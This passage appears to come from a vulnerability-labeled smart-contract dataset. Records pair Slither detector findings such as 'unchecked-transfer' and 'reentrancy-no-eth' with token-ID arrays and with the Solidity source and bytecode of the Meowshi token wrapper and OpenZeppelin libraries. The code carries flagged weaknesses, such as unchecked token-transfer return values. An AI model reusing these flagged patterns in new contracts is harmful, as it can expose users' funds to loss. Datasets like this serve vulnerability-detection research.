7f3f8f65fe47410271cc4295561dfd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'mapping-deletion', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 2063, 2475, 2278, 2683, 22394, 2546, 2094, 2581, 10322, 2509, 11329, 2094, 2683, 10354, 2546, 2620, 2620, 2475, 2063, 2487, 10354, 22932, 16932, 8447, 2575, 22394, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1011, 2447, 8654, 1011, 1058, 2692, 1012, 1017, 1012, 2403, 1008, 100, 100, 100, 100, 1008, 1616, 100, 100, 100, 100, 100, 100, 100, 1616, 30143, 30143, 1616, 100, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1008, 1006, 1010, 1013, 1013, 1007, 1013, 1007, 1013, 1007, 1006, 1010, 1013, 1013, 1007, 1013, 1007, 1008, 100, 1013, 1035, 1006, 1013, 1035, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,078
0x962fcf42f4256258d1504c82a4867e7723838e3a
// SPDX-License-Identifier: UNLICENSED // @title Meowshi (MEOW) 🐈 🍣 🍱 // @author Gatoshi Nyakamoto pragma solidity 0.8.4; // File @boringcrypto/boring-solidity/contracts/Domain.sol@v1.2.0 // License-Identifier: MIT /// @dev Adapted for Meowshi. contract Domain { string constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01"; // see https://eips.ethereum.org/EIPS/eip-191 bytes32 constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"); bytes32 immutable _DOMAIN_SEPARATOR; uint256 immutable DOMAIN_SEPARATOR_CHAIN_ID; constructor() { uint256 chainId; assembly { chainId := chainid() } _DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId); } /// @dev Calculates the DOMAIN_SEPARATOR. function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) { return keccak256(abi.encode(DOMAIN_SEPARATOR_SIGNATURE_HASH, chainId, address(this))); } /// @dev Returns the DOMAIN_SEPARATOR. function DOMAIN_SEPARATOR() public view returns (bytes32) { uint256 chainId; assembly { chainId := chainid() } return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId); } function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) { digest = keccak256(abi.encodePacked(EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA, DOMAIN_SEPARATOR(), dataHash)); } } // File @boringcrypto/boring-solidity/contracts/ERC20.sol@v1.2.0 // License-Identifier: MIT /// @dev Adapted for Meowshi. contract ERC20 is Domain { /// @dev keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"). bytes32 constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice owner > spender > allowance mapping. mapping(address => mapping(address => uint256)) public allowance; /// @notice owner > balance mapping. mapping(address => uint256) public balanceOf; /// @notice owner > nonce mapping used in {permit}. mapping(address => uint256) public nonces; event Approval(address indexed owner, address indexed spender, uint256 amount); event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice Approves `amount` from msg.sender to be spent by `spender`. /// @param spender Address of the party that can draw tokens from msg.sender's account. /// @param amount The maximum collective `amount` that `spender` can draw. /// @return (bool) Returns 'true' if succeeded. function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /// @notice Approves `amount` from `owner` to be spent by `spender` using the EIP-2612 method. /// @param owner Address of the `owner`. /// @param spender The address of the `spender` that gets approved to draw from `owner`. /// @param amount The maximum collective `amount` that `spender` can draw. /// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds). function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner != address(0), "ERC20: Owner cannot be 0"); require(block.timestamp < deadline, "ERC20: Expired"); require(ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner, spender, amount, nonces[owner]++, deadline))), v, r, s) == owner, "ERC20: Invalid Signature"); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /// @notice Transfers `amount` tokens from `msg.sender` to `to`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transfer(address to, uint256 amount) external returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(msg.sender, to, amount); return true; } /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`. /// @param from Address to draw tokens `from`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transferFrom(address from, address to, uint256 amount) external returns (bool) { if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount; balanceOf[from] -= amount; balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } } // File @boringcrypto/boring-solidity/contracts/BoringBatchable.sol@v1.2.0 // License-Identifier: MIT /// @dev Adapted for Meowshi. contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. function _getRevertMsg(bytes memory _returnData) private pure returns (string memory) { if (_returnData.length < 68) return "Transaction reverted silently"; // if length is less than 68, tx failed w/o revert message assembly { _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // all that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If 'true', reverts after a failed call and stops further calls. function batch(bytes[] calldata calls, bool revertOnFail) external { for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); if (!success && revertOnFail) revert(_getRevertMsg(result)); } } } /// @notice Interface for depositing into and withdrawing from BentoBox vault. interface IERC20{} interface IBentoBoxBasic { function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into and withdrawing from SushiBar. interface ISushiBar { function balanceOf(address account) external view returns (uint256); function enter(uint256 amount) external; function leave(uint256 share) external; function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } /// @notice Meowshi takes SUSHI/xSUSHI to mint MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields. // ៱˳_˳៱ ∫ contract Meowshi is ERC20, BaseBoringBatchable { IBentoBoxBasic constant bentoBox = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet) ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet) address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet) string public constant name = "Meowshi"; string public constant symbol = "MEOW"; uint8 public constant decimals = 18; uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW uint256 public totalSupply; constructor() { sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract ISushiBar(sushiBar).approve(address(bentoBox), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract } // **** xSUSHI /// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`. function meow(address to, uint256 amount) external returns (uint256 shares) { ISushiBar(sushiBar).transferFrom(msg.sender, address(bentoBox), amount); // forward to BENTO for skim (, shares) = bentoBox.deposit(IERC20(sushiBar), address(bentoBox), address(this), amount, 0); meowMint(to, shares * multiplier); } /// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`. function unmeow(address to, uint256 amount) external returns (uint256 amountOut) { meowBurn(amount); (amountOut, ) = bentoBox.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier); } // **** SUSHI /// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`. function meowSushi(address to, uint256 amount) external returns (uint256 shares) { sushiToken.transferFrom(msg.sender, address(this), amount); ISushiBar(sushiBar).enter(amount); (, shares) = bentoBox.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0); meowMint(to, shares * multiplier); } /// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`. function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) { meowBurn(amount); (amountOut, ) = bentoBox.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier); ISushiBar(sushiBar).leave(amountOut); sushiToken.transfer(to, sushiToken.balanceOf(address(this))); } // **** SUPPLY MGMT /// @notice Internal mint function for *meow*. function meowMint(address to, uint256 amount) private { balanceOf[to] += amount; totalSupply += amount; emit Transfer(address(0), to, amount); } /// @notice Internal burn function for *unmeow*. function meowBurn(uint256 amount) private { balanceOf[msg.sender] -= amount; totalSupply -= amount; emit Transfer(msg.sender, address(0), amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063642ed500116100a2578063a9059cbb11610071578063a9059cbb14610257578063d2423b511461026a578063d505accf1461027f578063dd62ed3e14610292578063e6ff41eb146102ba57600080fd5b8063642ed500146101e157806370a08231146101f45780637ecebe001461021457806395d89b411461023457600080fd5b806323b872dd116100de57806323b872dd14610199578063313ce567146101ac5780633644e515146101c65780633c0adb68146101ce57600080fd5b806306fdde0314610110578063095ea7b31461014c57806318160ddd1461016f5780631b04a34f14610186575b600080fd5b610136604051806040016040528060078152602001664d656f7773686960c81b81525081565b6040516101439190611374565b60405180910390f35b61015f61015a36600461115f565b6102cd565b6040519015158152602001610143565b61017860035481565b604051908152602001610143565b61017861019436600461115f565b610338565b61015f6101a73660046110b3565b6103fc565b6101b4601281565b60405160ff9091168152602001610143565b6101786104fe565b6101786101dc36600461115f565b61055e565b6101786101ef36600461115f565b610789565b610178610202366004611060565b60016020526000908152604090205481565b610178610222366004611060565b60026020526000908152604090205481565b610136604051806040016040528060048152602001634d454f5760e01b81525081565b61015f61026536600461115f565b6109bf565b61027d610278366004611188565b610a3d565b005b61027d61028d3660046110ee565b610b27565b6101786102a0366004611081565b600060208181529281526040808220909352908152205481565b6101786102c836600461115f565b610d78565b336000818152602081815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103269086815260200190565b60405180910390a35060015b92915050565b600061034382610e74565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff427230866000610383620186a08961140b565b6040518663ffffffff1660e01b81526004016103a3959493929190611340565b6040805180830381600087803b1580156103bc57600080fd5b505af11580156103d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f491906112e6565b509392505050565b6001600160a01b0383166000908152602081815260408083203384529091528120546000191461045d576001600160a01b0384166000908152602081815260408083203384529091528120805484929061045790849061144a565b90915550505b6001600160a01b0384166000908152600160205260408120805484929061048590849061144a565b90915550506001600160a01b038316600090815260016020526040812080548492906104b29084906113f3565b92505081905550826001600160a01b0316846001600160a01b03166000805160206114e6833981519152846040516104ec91815260200190565b60405180910390a35060019392505050565b6000467f000000000000000000000000000000000000000000000000000000000000000181146105365761053181610eda565b610558565b7f77c8ace34726bdadeb06889c20c10771de2ef935b6b08fc31b571f713d028afc5b91505090565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b1580156105ba57600080fd5b505af11580156105ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f29190611209565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b15801561064057600080fd5b505af1158015610654573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b1580156106c457600080fd5b505afa1580156106d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fc91906112ce565b60006040518663ffffffff1660e01b815260040161071e959493929190611340565b6040805180830381600087803b15801561073757600080fd5b505af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906112e6565b9150610332905083610784620186a08461142b565b610f34565b600061079482610e74565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff4272308060006107d4620186a08961140b565b6040518663ffffffff1660e01b81526004016107f4959493929190611340565b6040805180830381600087803b15801561080d57600080fd5b505af1158015610821573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084591906112e6565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b15801561089657600080fd5b505af11580156108aa573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b15801561090257600080fd5b505afa158015610916573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093a91906112ce565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561098057600080fd5b505af1158015610994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b89190611209565b5092915050565b336000908152600160205260408120805483919083906109e090849061144a565b90915550506001600160a01b03831660009081526001602052604081208054849290610a0d9084906113f3565b90915550506040518281526001600160a01b0384169033906000805160206114e683398151915290602001610326565b60005b82811015610b215760008030868685818110610a6c57634e487b7160e01b600052603260045260246000fd5b9050602002810190610a7e91906113a7565b604051610a8c929190611309565b600060405180830381855af49150503d8060008114610ac7576040519150601f19603f3d011682016040523d82523d6000602084013e610acc565b606091505b509150915081158015610adc5750835b15610b0c57610aea81610fad565b60405162461bcd60e51b8152600401610b039190611374565b60405180910390fd5b50508080610b199061148d565b915050610a40565b50505050565b6001600160a01b038716610b7d5760405162461bcd60e51b815260206004820152601860248201527f45524332303a204f776e65722063616e6e6f74206265203000000000000000006044820152606401610b03565b834210610bbd5760405162461bcd60e51b815260206004820152600e60248201526d115490cc8c0e88115e1c1a5c995960921b6044820152606401610b03565b6001600160a01b03871660008181526002602052604081208054600192610c67927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d9291610c108361148d565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e0016040516020818303038152906040528051906020012061100c565b6040805160008152602081018083529290925260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610cb5573d6000803e3d6000fd5b505050602060405103516001600160a01b031614610d155760405162461bcd60e51b815260206004820152601860248201527f45524332303a20496e76616c6964205369676e617475726500000000000000006044820152606401610b03565b6001600160a01b03878116600081815260208181526040808320948b168084529482529182902089905590518881527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b6040516323b872dd60e01b815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e209190611209565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c9061071e90738798249c2e607446efb7ad49ec89dd1865ff427290849030908890600090600401611340565b3360009081526001602052604081208054839290610e9390849061144a565b925050819055508060036000828254610eac919061144a565b909155505060405181815260009033906000805160206114e68339815191529060200160405180910390a350565b604080517f47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a7946921860208201529081018290523060608201526000906080015b604051602081830303815290604052805190602001209050919050565b6001600160a01b03821660009081526001602052604081208054839290610f5c9084906113f3565b925050819055508060036000828254610f7591906113f3565b90915550506040518181526001600160a01b038316906000906000805160206114e68339815191529060200160405180910390a35050565b6060604482511015610ff257505060408051808201909152601d81527f5472616e73616374696f6e2072657665727465642073696c656e746c79000000602082015290565b600482019150818060200190518101906103329190611225565b600060405180604001604052806002815260200161190160f01b8152506110316104fe565b83604051602001610f1793929190611319565b80356001600160a01b038116811461105b57600080fd5b919050565b600060208284031215611071578081fd5b61107a82611044565b9392505050565b60008060408385031215611093578081fd5b61109c83611044565b91506110aa60208401611044565b90509250929050565b6000806000606084860312156110c7578081fd5b6110d084611044565b92506110de60208501611044565b9150604084013590509250925092565b600080600080600080600060e0888a031215611108578283fd5b61111188611044565b965061111f60208901611044565b95506040880135945060608801359350608088013560ff81168114611142578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611171578182fd5b61117a83611044565b946020939093013593505050565b60008060006040848603121561119c578283fd5b833567ffffffffffffffff808211156111b3578485fd5b818601915086601f8301126111c6578485fd5b8135818111156111d4578586fd5b8760208260051b85010111156111e8578586fd5b602092830195509350508401356111fe816114d4565b809150509250925092565b60006020828403121561121a578081fd5b815161107a816114d4565b600060208284031215611236578081fd5b815167ffffffffffffffff8082111561124d578283fd5b818401915084601f830112611260578283fd5b815181811115611272576112726114be565b604051601f8201601f19908116603f0116810190838211818310171561129a5761129a6114be565b816040528281528760208487010111156112b2578586fd5b6112c3836020830160208801611461565b979650505050505050565b6000602082840312156112df578081fd5b5051919050565b600080604083850312156112f8578182fd5b505080516020909101519092909150565b8183823760009101908152919050565b6000845161132b818460208901611461565b91909101928352506020820152604001919050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b6020815260008251806020840152611393816040850160208701611461565b601f01601f19169190910160400192915050565b6000808335601e198436030181126113bd578283fd5b83018035915067ffffffffffffffff8211156113d7578283fd5b6020019150368190038213156113ec57600080fd5b9250929050565b60008219821115611406576114066114a8565b500190565b60008261142657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611445576114456114a8565b500290565b60008282101561145c5761145c6114a8565b500390565b60005b8381101561147c578181015183820152602001611464565b83811115610b215750506000910152565b60006000198214156114a1576114a16114a8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b80151581146114e257600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200a029dd8167346da4077dc732e3706c5366d78d1dbba68de65e6aac79f5f9f1564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 11329, 2546, 20958, 2546, 20958, 26976, 17788, 2620, 2094, 16068, 2692, 2549, 2278, 2620, 2475, 2050, 18139, 2575, 2581, 2063, 2581, 2581, 21926, 2620, 22025, 2063, 2509, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 1030, 2516, 2033, 15568, 4048, 1006, 2033, 5004, 1007, 100, 100, 100, 1013, 1013, 1030, 3166, 11721, 13122, 4048, 6396, 11905, 15319, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 5371, 1030, 11771, 26775, 22571, 3406, 1013, 11771, 1011, 5024, 3012, 1013, 8311, 1013, 5884, 1012, 14017, 1030, 1058, 2487, 1012, 1016, 1012, 1014, 1013, 1013, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 1013, 1030, 16475, 5967, 2005, 2033, 15568, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,079
0x9630da8782AD7FA5ecaC7267bF19D20C0B7A8087
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use 